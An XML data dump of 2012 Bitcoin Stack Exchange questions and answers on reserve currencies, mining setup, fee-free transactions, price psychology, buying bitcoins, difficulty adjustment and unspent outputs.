  <row Id="4274" PostTypeId="2" ParentId="2120" CreationDate="2012-07-26T11:43:06.243" Score="1" Body="&lt;p&gt;Problem is right now most of the world would say &quot;What's a bitcoin?&quot; If you were to go to even a high tech center like say Tel Aviv I expect that most people would say &quot;What's that?&quot; On the other hand if you show up with Dollars, Euros or Pounds those are easy to change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be pointed out that what you are describing is not a reserve currency. &lt;strong&gt;A reserve currency is what governments and banks hold to protect themselves against currency variations and other market forces.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current reserve currencies are more or less the US Dollar and the Euro&lt;/strong&gt; and a few others(Swiss franc, Japanese Yen, Pound Sterling). In order to be a reserve currency a currency has to be backed by a very large economy. &lt;/p&gt;&#xA;" OwnerUserId="461" LastEditorUserId="1580" LastEditDate="2012-07-26T17:40:41.617" LastActivityDate="2012-07-26T17:40:41.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4278" PostTypeId="2" ParentId="4271" CreationDate="2012-07-27T03:34:48.483" Score="2" Body="&lt;p&gt;If I have a blockchain from the future I could probably go back in time and successfully perform a 51% attack.  There wouldn't be any way that I'd benefit financially as I couldn't change that blocks but I could slam a couple hours worth of blocks through.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-03T05:03:12.053" LastActivityDate="2012-08-03T05:03:12.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4279" PostTypeId="1" CreationDate="2012-07-27T06:18:17.907" Score="3" ViewCount="265" Body="&lt;p&gt;There is a node that will always relay every transaction, regardless of whether its amount is acceptable and whether a fee was paid.  This node is described in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot; rel=&quot;nofollow&quot;&gt;Free Transaction Relay Policy&lt;/a&gt; page on the Bitcoin wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no miners listed though which will always include these transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Microtransactions for amounts worth just a few cents would not be able to pay a fee and even the minimum fee causes Bitcoin to no longer be &quot;near free&quot;, as the amount on a percentage basis can become quite high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any miners which will include these microtransactions with no fee?  Do any of them connect to the node listed in the free relay policy page, or are the IP addresses for these shown anywhere? &lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="2306" LastEditDate="2013-04-01T08:34:05.727" LastActivityDate="2015-01-17T00:44:02.393" Title="Are there any miners that will always include microtransactions even when no fee is paid?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4280" PostTypeId="1" CreationDate="2012-07-27T07:12:03.623" Score="1" ViewCount="3898" Body="&lt;p&gt;I'm roughly following &lt;a href=&quot;https://bitcointalk.org/index.php?PHPSESSID=a1bbdf0e554e3c8b8f2d015ffcd972e7&amp;amp;topic=9239.0;all&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; guide. The only big difference is I'm running Ubuntu 12.04 and I used the latest version of the ATI Drivers. (I have the same cards as the guide, 2x HD5830's)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try running the miner, I'm getting a seg fault.&#xA;Here's the exact command I'm running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./phoenix.py -u http://mineruser@miner0:password0@mine2.btcguild.com:8332 -k phatk DEVICE=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this will help but here is the output from &lt;code&gt;DISPLAY=:0 sudo fglrxinfo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;display: :0  screen: 0&#xA;OpenGL vendor string: Advanced Micro Devices, Inc.&#xA;OpenGL renderer string: ATI Radeon HD 5800 Series&#xA;OpenGL version string: 4.2.11627 Compatibility Profile Context&#xA;&#xA;&#xA;&#xA;display: :0  screen: 1&#xA;OpenGL vendor string: Advanced Micro Devices, Inc.&#xA;OpenGL renderer string: ATI Radeon HD 5800 Series&#xA;OpenGL version string: 4.2.11627 Compatibility Profile Context&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2012-07-27T07:12:03.623" Title="Help setting up phoenix miner on Ubuntu 12.04 - getting a seg fault" Tags="|ubuntu|phoenix|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4281" PostTypeId="5" CreationDate="2012-07-27T10:56:20.617" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-07-27T10:56:20.617" LastActivityDate="2012-07-27T10:56:20.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4282" PostTypeId="4" CreationDate="2012-07-27T10:56:20.617" Score="0" Body="Fallback nodes are trusted hard-coded IP addresses that are providing reliable peer addresses for Clients. " OwnerUserId="1580" LastEditorUserId="42185" LastEditDate="2018-09-01T16:16:10.567" LastActivityDate="2018-09-01T16:16:10.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4283" PostTypeId="1" AcceptedAnswerId="4286" CreationDate="2012-07-27T13:21:48.930" Score="8" ViewCount="413" Body="&lt;p&gt;I live in Europe, and more than a decade ago our national currency was replaced by the Euro. For a few years, everyone calculated back the price in Euro to the old currency when buying something, because it was hard to get a 'feeling' of the price. You can say that once Bitcoin matures, people will also get that feel for it, and don't need the calculate back to USD anymore when shopping, but I have a question about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A loaf of bread costs about 1 EUR, and that price has been pretty stable for years. I guess inflation ensures that it will so slowly increase in price, that people get time to adapt. If a loaf of bread costs 0.1 BTC today, it can be doubled or halved in a year, because the speculation causes so much volatility. So I won't develop a real feeling how many loaves of breads I can buy with that anytime soon. And by the time it's widely adopted (and should be stable), all 21M coins will be mined, so deflation will cause the price of bread to fall so much faster than it will rise using an inflationary fiat like EUR/USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how does one develop a phsychological feeling for what 1 BTC is worth?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="5406" LastEditDate="2016-08-02T06:15:56.523" LastActivityDate="2016-08-02T06:15:56.523" Title="Psychological price" Tags="|exchange-rate|adoption|inflation|deflation|retail|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4284" PostTypeId="2" ParentId="4283" CreationDate="2012-07-27T16:08:29.480" Score="1" Body="&lt;p&gt;IT industry is a great example of deflation, those products get cheaper over time, and it doesn't cause any distress when you need to calculate what you can buy with your money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Psychological feeling that you are referring to comes from the ability to anticipate the value change of 1 BTC. In case of a stable change such as deflation it is easy, but if the value shifts because of volatility then no one can anticipate that and it is more convenient to display prices in USD.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2012-07-27T18:20:44.153" LastActivityDate="2012-07-27T18:20:44.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4285" PostTypeId="2" ParentId="4283" CreationDate="2012-07-27T16:41:09.607" Score="1" Body="&lt;p&gt;It is very interesting question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Psychology in those things work this way: &#xA;You see a price of something in BTC, then you can buy it or not. You will probably memorize the price (if you bought it, the incentive will be bigger). It will become your experience including the information of price and the thing it represents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you will know about many things and its prices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But once the price is replaced by different price you are going to forget the old price and there will be the new one only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole process is automatic and subconscious. &lt;strong&gt;There is no reason to be concerned. It (&lt;em&gt;the notion of price)&lt;/em&gt; just comes to you naturaly.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when you said that the price of bread will rise in BTC. It seems impossible. The deflationary characteristic of bitcoin will cause the price to go down. &lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2012-07-27T16:41:09.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4286" PostTypeId="2" ParentId="4283" CreationDate="2012-07-27T21:07:24.540" Score="8" Body="&lt;p&gt;Technology is helping with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I don't know what the fair price is for a GPS device that I see for sale at Best Buy, for instance.  I whip out my mobile and do Amazon price check to see what the price is elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This app could just as easily display the price in BTCs.  So therefore, we already are getting in the habit of distancing from our memory the price of a good and using technology to provide the answer for us.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-07-27T21:07:24.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4287" PostTypeId="2" ParentId="4232" CreationDate="2012-07-28T00:09:22.663" Score="5" Body="&lt;p&gt;The following offer sales of bitcoins in larger quantities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=87094.0&quot;&gt;Tangible Cryptography&lt;/a&gt; sells coins received for its bitcoin cash-out service &lt;a href=&quot;http://FastCash4Bitcoins.com&quot;&gt;FastCash4Bitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Bit-Pay Merchant Services, a merchant processor (&lt;a href=&quot;http://bitcointalk.org/index.php?topic=89757.msg996082#msg996082&quot;&gt;minimum $10K transaction&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-07-28T00:09:22.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4288" PostTypeId="2" ParentId="4283" CreationDate="2012-07-28T03:38:45.090" Score="1" Body="&lt;p&gt;Firstly I think you assume too much that wide adoption of Bitcoin will bring stability. Is the gold market stable because it's probably currently (close to) the biggest it's ever been? No, it's still volatile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are organisations that try to bring stability to govt currencies. For example, the Reserve Bank of New Zealand has a guideline to keep inflation of the NZ price indices between 1% and 3%. However, I'm not aware of any similar attempts to achieve such a feat in the gold market, perhaps because it gives others a chance to manipulate the market. Note that I'm definitely not claiming the gold market is free of manipulation (quite the opposite!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see Bitcoin as behaving in a similar way to gold in the long term because of the limited supply. Value might double every year for many years on end, but that doesn't mean it's not going to crash back down again at some point. Speculation on gold is rife, and I would expect the same on Bitcoin. For that reason, I believe Bitcoin won't ever be a particularly reliable store of value, although depending on circumstances it may compare well with other options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here in NZ, the Rabodirect bank advertises itself as &quot;Your significant other bank&quot; because you can't use it as a transaction account. Perhaps Bitcoin will end up as &quot;Your significant other currency&quot; because it's not a reliable store of value.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-07-28T03:38:45.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4289" PostTypeId="2" ParentId="1764" CreationDate="2012-07-28T04:55:11.423" Score="3" Body="&lt;p&gt;You can also post your goods &amp;amp; services on BitcoinTrading.com: bitcoin buy/sell classifieds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcointrading.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcointrading.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1637" LastActivityDate="2012-07-28T04:55:11.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4291" PostTypeId="2" ParentId="4271" CreationDate="2012-07-28T16:45:34.323" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the future buy private key(s) that had balances in the past.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the past listen to a noisy data source tied to hardware random number generator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the future use time travel powers to alter the 'noise' your past self listened to by encoding the 'noise' with the private key(s) purchased in step 1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You could also use your time-travel-information-channel to mine blocks, but this would limit you to 300 BTC/hr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy time traveling. :)&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2012-07-28T16:45:34.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4292" PostTypeId="1" CreationDate="2012-07-28T17:51:26.223" Score="8" ViewCount="19884" Body="&lt;p&gt;I decided to check out bitcoin 3 weeks ago. And I have yet to buy my first bitcoin. It took a week to get a Dwolla account. Now when I go to MtGox to buy I find I need to go through even more hoops. I am starting to think that Bitcoin is just some kind of myth. A great idea but if you can not get the they are useless.&lt;/p&gt;&#xA;" OwnerUserId="1640" LastActivityDate="2013-07-17T20:50:39.440" Title="Is there an easy way to purchase Bitcoins?" Tags="|buy-bitcoins|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4293" PostTypeId="2" ParentId="4292" CreationDate="2012-07-28T19:37:03.750" Score="1" Body="&lt;p&gt;If you're in the US (which AFAIK you must be if you could open a Dwolla account), I'd say your best bet is to use the services of &lt;a href=&quot;https://www.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;BitInstant&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also wire funds directly to Mt. Gox, but that could be more expensive for small amounts.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-07-28T19:37:03.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4294" PostTypeId="2" ParentId="4292" CreationDate="2012-07-28T20:45:16.587" Score="9" Body="&lt;p&gt;Dwolla imposed a 30-day probationary period for new accounts.  After your first funds have been added to Dwolla from your bank account, you then cannot trade those funds with a Bitcoin exchange for 30 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dwolla did that to prevent hackers or other scammers from getting cash out of an innocent person's bank account before there is time for the individual to notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of individuals who are not considered bitcoin exchanges who will gladly trade their Mt. Gox USD funds for your Dwolla USD funds:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=78512.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=78512.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want an alternate method, there are numerous.  Since you are using Dwolla, then presumably you are in the U.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitMe accepts cash deposited through Chase:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitMe.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitMe.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The next fastest and convenient method is BitInstant:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitInstant.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitInstant.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But once you are through the 30-day Dwolla probationary period, then Dwolla works pretty well for moving funds to and from the exchanges.  Camp BX, Intersango, and Mt. Gox all accept Dwolla USDs for their market exhanges.   Bit-Instant accepts Dwolla for direct purchases of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If none of those options work well for you, you can also try doing an in-person trade:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.LocalBitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="841" LastEditDate="2013-07-16T16:34:38.310" LastActivityDate="2013-07-16T16:34:38.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4295" PostTypeId="1" CreationDate="2012-07-29T01:34:51.360" Score="9" ViewCount="3333" Body="&lt;p&gt;I am wondering whether it is possible for a supercomputer to find the next 1000 blocks in a very short amount of time. Hypothetically, if a government agency concentrated a supercomputer on hashing, could they solve the next 2016 blocks in a few seconds?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The difficulty is adjusted every 2016 blocks based on the time it took to find the previous 2016 blocks. At the desired rate of one block each 10 minutes, 2016 blocks would take exactly two weeks to find.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From what I understand from the article on the bitcoin.wiki, the difficulty would scale until 1 block is found every 10 minutes. This leads me to believe that in the long-term no more than 2016 blocks can be found at a rate of more than 1 per 10 minutes.&#xA;I  hope I am being clear. I will check for replies tonight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much.&lt;/p&gt;&#xA;" OwnerUserId="1641" LastActivityDate="2017-12-11T21:36:43.853" Title="Can more than 1 block be solved per 10 mins on average (LONG TERM)?" Tags="|blockchain|block|difficulty|hash|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4296" PostTypeId="2" ParentId="4295" CreationDate="2012-07-29T02:33:55.843" Score="4" Body="&lt;p&gt;TL;DR: The scenario described in OP is utterly unrealistic. Even a short term increase of solved blocks per minute requires tremendous amount of resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current Bitcoin Network power is approximately 108 petaFLOPS. We can't compare 13.5 Tera Hashes/s with Flops directly, but casascius calculated rough &lt;a href=&quot;https://bitcointalk.org/index.php?topic=4689.msg69234#msg69234&quot; rel=&quot;nofollow&quot;&gt;estimate&lt;/a&gt;, 450G (hash/s) equals to 3.6 PFLOPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://en.wikipedia.org/wiki/FLOPS&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;: On June 18, 2012, IBM's Sequoia supercomputer system, based at the U.S. Lawrence Livermore National Laboratory (LLNL), &lt;strong&gt;reached 16 petaFLOPS&lt;/strong&gt;, setting the world record and claiming first place in the latest TOP500 list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve one block under one second with current difficulty you would need approximately 64800 petaFLOPS. Or 4050 most powerful supercomputers.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2012-07-29T03:54:39.933" LastActivityDate="2012-07-29T03:54:39.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4297" PostTypeId="2" ParentId="4295" CreationDate="2012-07-29T03:27:08.670" Score="7" Body="&lt;p&gt;someone /could/ throw a lot of hash power into the system. and until such a time as the difficulty adjusts, they /could/ produce more blocks than one per 10 minutes on average. but difficulty will adjust after one or more 2016-block chunks (note that change in difficulty is capped at a factor of 4 for each 2016 block chunk), until once again even with the new hash power only one block per 10 minutes is produced on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so &quot;in the short term&quot; it is possible for someone to produce more blocks than 1 per 10 minutes, but &quot;in the long term&quot; unless they continue adding hash power perpetually, the difficulty will catch up to them.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2012-07-29T03:27:08.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4298" PostTypeId="2" ParentId="4295" CreationDate="2012-07-29T05:12:54.147" Score="3" Body="&lt;p&gt;Bitcoin does, by design, readjust difficulty every 2,016 blocks to a level that is based on how long the previous 2016 blocks took to be solved.  The adjustment is intended to bring block generation back to the rate of one block every ten minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an upper limit however to the amount of the difficulty increase so that the new level is no more than four times the previous level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has occurred once in Bitcoin's history -- at block 68,544, which followed Bitcoin's first exposure to tech media -- it got Slashdotted in July, 2010.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc#gid=0&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc#gid=0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The highest increase following that was a near doubling that occurred in May 2011, when a flurry of press and media buzz was happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The highest increase since June, 2011 has been a 15% increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there is about 17 Thash/s of capacity.  To be able to cause per-block generation to occur at the rate of one every five minutes by adding only the 25 Ghash/s BFL Mini Rigs would be something that would require about $10 million of hardware.  (Actually, this is not possible as BFL doesn't have the capacity ship even a tiny fraction of that level.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hardware cost to get 2,016 blocks in &quot;just a few seconds&quot; (say, 60 seconds) using just BFL Mini Rigs would be something in the range of $181 billion dollars (yes, that's correct -- 181 billion.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-29T05:19:46.400" LastActivityDate="2012-07-29T05:19:46.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4299" PostTypeId="2" ParentId="2228" CreationDate="2012-07-29T06:56:31.257" Score="4" Body="&lt;p&gt;The U.S. Treasury's FinCEN describes money laundering as the process of making illegally-gained proceeds (i.e. &quot;dirty money&quot;) appear legal (i.e. &quot;clean&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is a pseudonymous digital currency but it can be used anonymously when certain precautions (using Tor, mixing, etc.) are taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably, some or all of the money would get exchanged to fiat.  That is the point at which identity is required.  Most exchanges have AML policies that require identity verification for withdrawals when the limits as defined by law are reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as long as the funds are kept as bitcoins, and transacted in a certain way, successful laundering of those funds might be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cash (currency) would probably more convenient to a money launderer, though.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2015-01-13T14:00:41.877" LastActivityDate="2015-01-13T14:00:41.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4300" PostTypeId="2" ParentId="4295" CreationDate="2012-07-29T08:55:00.220" Score="5" Body="&lt;p&gt;The control mechanism for keeping blocks at a rate of 1 per 10 minutes is very simplistic. What can and will happen is that the mechanism will perpetually play catch-up to the gradual increase of difficulty due to Bitcoin adoption and hardware advances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the network hashrate increases by 1% per week (which is reasonably sustainable long-term due to Moore's law), the difficulty will always have an average 2 week lag over the hashrate, and thus blocks will be found 2% faster than 1 per 10 minutes, long-term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there was a &lt;a href=&quot;http://en.wikipedia.org/wiki/PID_controller#PI_controller&quot;&gt;PI controller&lt;/a&gt; this wouldn't happen.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-07-29T08:55:00.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4301" PostTypeId="1" AcceptedAnswerId="4304" CreationDate="2012-07-29T13:24:38.293" Score="34" ViewCount="47195" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/xanm2/ultimate_blockchain_compression_w_trustfree_lite/c5l2wpo?context=3&quot;&gt;What is the meaning&lt;/a&gt; of the term &quot;unspent output&quot; in the Bitcoin protocol?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2023-10-30T14:00:05.297" LastActivityDate="2023-10-30T14:00:05.297" Title="What is an &quot;unspent output&quot;?" Tags="|protocol|utxo|terminology|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4302" PostTypeId="2" ParentId="4301" CreationDate="2012-07-29T13:34:23.433" Score="12" Body="&lt;p&gt;It means &quot;Bitcoins that were not spent&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine the early days, when the blockchain was of length 3 (imaginary chain of events):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first block contained 50 mined BTC in address A&lt;/li&gt;&#xA;&lt;li&gt;The second block contained 50 mined BTC in address A, a TX sending 20 BTC to address B, and putting the change in address C&lt;/li&gt;&#xA;&lt;li&gt;The third block contained 50 mined BTC in address A, a tx sending the 20 BTC from address B to address D&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, after 3 blocks, this is the &quot;sum total&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A has 100 BTC&lt;/li&gt;&#xA;&lt;li&gt;C has 30 BTC&lt;/li&gt;&#xA;&lt;li&gt;D has 20 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Total 150 BTC in unspent outputs. These are the &quot;unspent coins&quot; - all the generated BTC, without counting transactions that moved BTC twice.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-07-29T13:34:23.433" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4303" PostTypeId="1" CreationDate="2012-07-29T14:26:17.823" Score="6" ViewCount="15661" Body="&lt;p&gt;How can I setup pushpool on my ubuntu dedi?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have bitcoind up and running with latest blocks, what's next?&lt;/p&gt;&#xA;" OwnerUserId="1642" LastEditorUserId="5406" LastEditDate="2016-02-03T10:37:11.170" LastActivityDate="2016-02-03T10:37:11.170" Title="How to setup pushpool?" Tags="|mining-pools|server|pushpool|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4304" PostTypeId="2" ParentId="4301" CreationDate="2012-07-29T21:14:36.527" Score="47" Body="&lt;p&gt;An unspent output is simply an output of a transaction which isn't yet an input of another transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To take the example from &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4302/1475&quot;&gt;ripper234's answer&lt;/a&gt; (in which generated coins are immediately spendable, and we don't have to wait 100 blocks for them to mature), where:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first block contained 50 mined BTC in address A (A = 50)&lt;/li&gt;&#xA;&lt;li&gt;The second block contained 50 mined BTC in address A, a transaction sending 20 BTC to address B, and putting the change in address C (A = 50, B = 20, C = 30)&lt;/li&gt;&#xA;&lt;li&gt;The third block contained 50 mined BTC in address A, a transaction sending the 20 BTC from address B to address D (A = 50 + 50, C = 30, D = 20)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, after three blocks, there are four unspent outputs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A has &lt;em&gt;two&lt;/em&gt; unspent outputs worth 50 BTC each&lt;/li&gt;&#xA;&lt;li&gt;C has a single unspent output worth 30 BTC&lt;/li&gt;&#xA;&lt;li&gt;D has a single unspent output worth 20 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And there are two spent outputs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the 50 BTC generated in the first block, spent in the 2nd block&lt;/li&gt;&#xA;&lt;li&gt;the 20 BTC output created in the 2nd block and spent in the 3rd block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that unspent outputs don't merge together.  The two unspent 50 BTC outputs at address A are separate, and will remain separate at least until they are spent in a transaction&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-05-23T10:07:32.640" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
